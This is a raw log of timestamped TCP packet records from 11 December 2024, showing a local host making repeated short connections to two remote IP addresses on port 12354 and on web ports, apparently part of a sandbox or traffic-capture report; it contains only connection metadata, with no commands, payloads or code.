Dec 11, 2024 16:29:05.624104977 CET	12354	61428	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:05.624326944 CET	61428	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.624327898 CET	61428	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.629193068 CET	61509	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:05.742634058 CET	12354	61507	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:05.742707968 CET	61507	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.743263006 CET	61507	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.744169950 CET	12354	61428	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:05.749021053 CET	80	61509	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:05.749121904 CET	61509	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:05.749969006 CET	61509	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:05.862682104 CET	12354	61507	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:05.863231897 CET	12354	61507	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:05.863852024 CET	61606	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.869420052 CET	80	61509	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:05.869431019 CET	80	61509	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:05.869477034 CET	61509	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:05.869755030 CET	61509	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:05.983428001 CET	12354	61606	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:05.983493090 CET	61606	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.984260082 CET	61606	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.988506079 CET	61762	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:05.988996983 CET	80	61509	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:05.989236116 CET	80	61509	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:06.103655100 CET	12354	61606	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.103729010 CET	61606	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.103863001 CET	61606	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.104254007 CET	61884	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.105849981 CET	12354	61606	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.108347893 CET	80	61762	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:06.108432055 CET	61762	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:06.108848095 CET	61762	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:06.222973108 CET	12354	61606	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.223352909 CET	12354	61606	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.224170923 CET	12354	61884	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.224241018 CET	61884	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.225805044 CET	61884	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.228307962 CET	80	61762	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:06.228992939 CET	80	61762	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:06.344139099 CET	12354	61884	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.344207048 CET	61884	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.344996929 CET	61884	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.345292091 CET	61997	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.345340014 CET	12354	61884	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.349797964 CET	61999	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:06.463675976 CET	12354	61884	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.464340925 CET	12354	61884	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.464622974 CET	12354	61997	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.464688063 CET	61997	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.465404987 CET	61997	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.469441891 CET	80	61999	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:06.469511986 CET	61999	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:06.473611116 CET	61999	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:06.584525108 CET	12354	61997	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.584611893 CET	61997	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.585241079 CET	61997	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.585628986 CET	62141	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.586164951 CET	12354	61997	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.589519978 CET	80	61999	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:06.589572906 CET	61999	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:06.590010881 CET	61999	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:06.593295097 CET	80	61999	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:06.704741955 CET	12354	61997	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.704895973 CET	12354	61997	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.705302000 CET	12354	62141	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.707343102 CET	62278	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:06.707385063 CET	62141	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.707535982 CET	62141	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.709175110 CET	80	61999	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:06.709239960 CET	80	61999	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:06.826764107 CET	80	62278	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:06.826822996 CET	62278	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:06.826874971 CET	12354	62141	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.827116013 CET	12354	62141	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.827892065 CET	62278	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:06.830266953 CET	62400	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.949517965 CET	80	62278	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:06.950161934 CET	62278	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:06.950258017 CET	80	62278	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:06.950362921 CET	62278	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:06.952399015 CET	12354	62400	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:06.952478886 CET	62400	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:06.952997923 CET	62400	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:07.067379951 CET	62592	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:07.070051908 CET	80	62278	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:07.070077896 CET	80	62278	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:07.072586060 CET	12354	62400	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:07.187741041 CET	80	62592	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:07.187844038 CET	62592	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:07.197055101 CET	62592	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:07.307625055 CET	80	62592	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:07.307734966 CET	62592	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:07.308218956 CET	62592	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:07.316351891 CET	80	62592	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:07.428133965 CET	62919	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:07.429872036 CET	80	62592	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:07.430344105 CET	80	62592	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:07.553982973 CET	80	62919	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:07.554086924 CET	62919	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:07.554383039 CET	62919	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:07.739759922 CET	12354	61428	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:07.739834070 CET	61428	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:07.740259886 CET	61428	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:07.740572929 CET	63144	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:07.817033052 CET	80	62919	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:07.817722082 CET	80	62919	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:07.874658108 CET	12354	61428	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:07.874706984 CET	12354	63144	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:07.874875069 CET	63144	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:07.875242949 CET	63144	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:07.927656889 CET	63216	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:07.997128963 CET	12354	63144	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:08.050180912 CET	80	63216	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:08.050249100 CET	63216	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:08.051127911 CET	63216	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:08.170985937 CET	80	63216	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:09.065274000 CET	12354	62400	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:09.065361977 CET	62400	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:09.065711021 CET	62400	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:09.066046000 CET	64443	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:09.186913967 CET	12354	62400	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:09.187369108 CET	12354	64443	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:09.187580109 CET	64443	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:09.188014984 CET	64443	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:09.309803963 CET	12354	64443	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:09.517591953 CET	64443	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:09.517626047 CET	63216	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:09.517661095 CET	63144	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:09.518656015 CET	64785	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:09.615791082 CET	80	63216	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:09.615853071 CET	63216	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:09.634021997 CET	64821	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:09.634582996 CET	64822	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:09.639518023 CET	12354	64785	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:09.639624119 CET	64785	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:09.640466928 CET	64785	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:09.760154963 CET	12354	64821	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:09.760168076 CET	80	64822	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:09.760229111 CET	64821	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:09.760258913 CET	64822	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:09.760860920 CET	64821	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:09.761061907 CET	64822	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:09.777815104 CET	12354	64785	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:09.952784061 CET	12354	64821	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:09.952826977 CET	80	64822	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:09.952948093 CET	80	64822	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:10.084619999 CET	65297	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:10.203824997 CET	80	65297	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:10.203919888 CET	65297	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:10.205106974 CET	65297	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:10.324307919 CET	80	65297	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:10.324837923 CET	80	65297	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:10.324912071 CET	65297	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:10.325179100 CET	65297	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:10.441961050 CET	49263	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:10.444441080 CET	80	65297	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:10.444693089 CET	80	65297	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:10.561212063 CET	80	49263	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:10.561314106 CET	49263	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:10.562122107 CET	49263	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:10.680926085 CET	80	49263	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:10.681014061 CET	49263	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:10.681325912 CET	80	49263	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:10.708875895 CET	49263	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:10.801835060 CET	80	49263	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:10.828208923 CET	80	49263	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:10.935007095 CET	49500	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:11.054996967 CET	80	49500	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:11.055073977 CET	49500	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:11.089551926 CET	49500	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:11.175065041 CET	80	49500	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:11.175112009 CET	49500	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:11.208789110 CET	80	49500	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:11.223679066 CET	49500	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:11.294612885 CET	80	49500	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:11.342916012 CET	80	49500	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:11.623828888 CET	49507	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:11.743134975 CET	80	49507	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:11.743253946 CET	49507	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:11.764461040 CET	49507	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:11.769886017 CET	12354	64785	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:11.769944906 CET	64785	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:11.862850904 CET	80	49507	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:11.862989902 CET	49507	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:11.883852005 CET	80	49507	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:11.942409039 CET	12354	64821	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:11.944391966 CET	64821	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:11.983422041 CET	80	49507	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:11.987705946 CET	64785	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:11.988445997 CET	49509	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:11.990184069 CET	64821	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:12.100893021 CET	49514	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:12.101474047 CET	49515	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:12.107959986 CET	12354	64785	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:12.108737946 CET	12354	49509	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:12.108932018 CET	49509	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:12.109497070 CET	49509	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:12.110066891 CET	12354	64821	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:12.220283985 CET	12354	49514	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:12.220866919 CET	80	49515	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:12.220901012 CET	49514	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:12.221374035 CET	49515	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:12.225056887 CET	49514	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:12.225116968 CET	49515	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:12.228583097 CET	12354	49509	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:12.228637934 CET	49509	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:12.228786945 CET	12354	49509	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:12.229259014 CET	49509	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:12.229702950 CET	49541	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:12.340974092 CET	80	49515	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:12.341445923 CET	49515	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:12.341445923 CET	49515	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:12.344468117 CET	12354	49514	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:12.344491959 CET	80	49515	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:12.348148108 CET	12354	49509	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:12.350188017 CET	12354	49509	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:12.350243092 CET	12354	49541	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:12.350326061 CET	49541	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:12.372680902 CET	49541	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:12.458576918 CET	49716	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:12.461555958 CET	80	49515	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:12.461610079 CET	80	49515	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:12.471112013 CET	12354	49541	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:12.471168041 CET	49541	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:12.471815109 CET	49541	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:12.472243071 CET	49735	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:12.493689060 CET	12354	49541	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:12.577958107 CET	80	49716	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:12.578048944 CET	49716	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:12.578659058 CET	49716	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:12.590651035 CET	12354	49541	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:12.591392994 CET	12354	49541	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:12.591818094 CET	12354	49735	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:12.591900110 CET	49735	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:12.592231035 CET	49735	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:12.700372934 CET	80	49716	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:12.711520910 CET	12354	49735	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:13.533037901 CET	49514	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:13.533085108 CET	49735	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:13.533107996 CET	49716	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:13.533576012 CET	50681	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:13.649627924 CET	50820	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:13.649914026 CET	50821	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:13.653625011 CET	12354	50681	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:13.653724909 CET	50681	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:13.654031038 CET	50681	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:13.769028902 CET	80	50820	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:13.769140005 CET	50820	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:13.769393921 CET	12354	50821	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:13.769448996 CET	50820	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:13.769468069 CET	50821	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:13.769747972 CET	50821	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:13.773401022 CET	12354	50681	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:13.889014006 CET	80	50820	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:13.889288902 CET	12354	50821	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:13.889328003 CET	12354	50821	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:13.889349937 CET	50821	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:13.889832973 CET	50821	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:13.890136957 CET	51094	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:14.183228970 CET	12354	50821	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:14.183238029 CET	12354	50821	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:14.183248043 CET	12354	51094	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:14.183325052 CET	51094	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:14.187205076 CET	51094	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:14.316848993 CET	12354	51094	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:15.349122047 CET	80	50820	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:15.349183083 CET	50820	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:15.353607893 CET	51298	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:15.353655100 CET	443	51298	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:15.353790045 CET	51298	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:15.354377031 CET	51298	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:15.354391098 CET	443	51298	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:15.818304062 CET	12354	50681	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:15.818363905 CET	50681	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:15.818727016 CET	50681	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:15.819245100 CET	51661	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:15.914082050 CET	443	51298	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:15.914191961 CET	51298	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:15.914652109 CET	51298	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:15.914685965 CET	443	51298	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:15.915019035 CET	51808	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:15.915051937 CET	443	51808	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:15.918272018 CET	51808	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:15.918514967 CET	51808	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:15.918529987 CET	443	51808	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:15.953860044 CET	12354	50681	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:15.953871012 CET	12354	51661	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:15.953989029 CET	51661	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:15.954494953 CET	51661	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:16.077744007 CET	12354	51661	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:16.077960968 CET	12354	51661	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:16.079351902 CET	51995	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:16.200215101 CET	12354	51995	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:16.200608969 CET	51995	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:16.201093912 CET	51995	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:16.311414003 CET	12354	51094	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:16.311897039 CET	51094	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:16.312289000 CET	51094	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:16.312746048 CET	52265	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:16.324141026 CET	12354	51995	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:16.434864998 CET	12354	51094	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:16.434875965 CET	12354	52265	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:16.434982061 CET	52265	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:16.435221910 CET	52265	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:16.560125113 CET	12354	52265	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:17.586342096 CET	51995	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:17.586386919 CET	52265	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:17.586410999 CET	51808	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:17.591648102 CET	52891	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:17.725550890 CET	52917	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:17.725647926 CET	50820	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:17.727770090 CET	52919	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:17.821687937 CET	12354	52891	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:17.821818113 CET	52891	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:17.821897030 CET	52891	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:17.846482992 CET	12354	52917	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:17.846623898 CET	52917	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:17.846832037 CET	80	50820	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:17.846972942 CET	50820	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:17.851823092 CET	80	52919	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:17.851979017 CET	52919	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:17.856971025 CET	52917	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:17.857244968 CET	52919	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:17.941365004 CET	12354	52891	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:17.941952944 CET	12354	52891	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:17.942509890 CET	53003	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:17.982167006 CET	80	52919	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:17.982599974 CET	52919	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:17.982599974 CET	52919	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:18.006994963 CET	12354	52917	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:18.007023096 CET	80	52919	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:18.065440893 CET	12354	53003	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:18.065587997 CET	53003	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:18.068136930 CET	53003	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:18.099500895 CET	53211	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:18.126422882 CET	80	52919	202.108.0.52	192.168.2.8
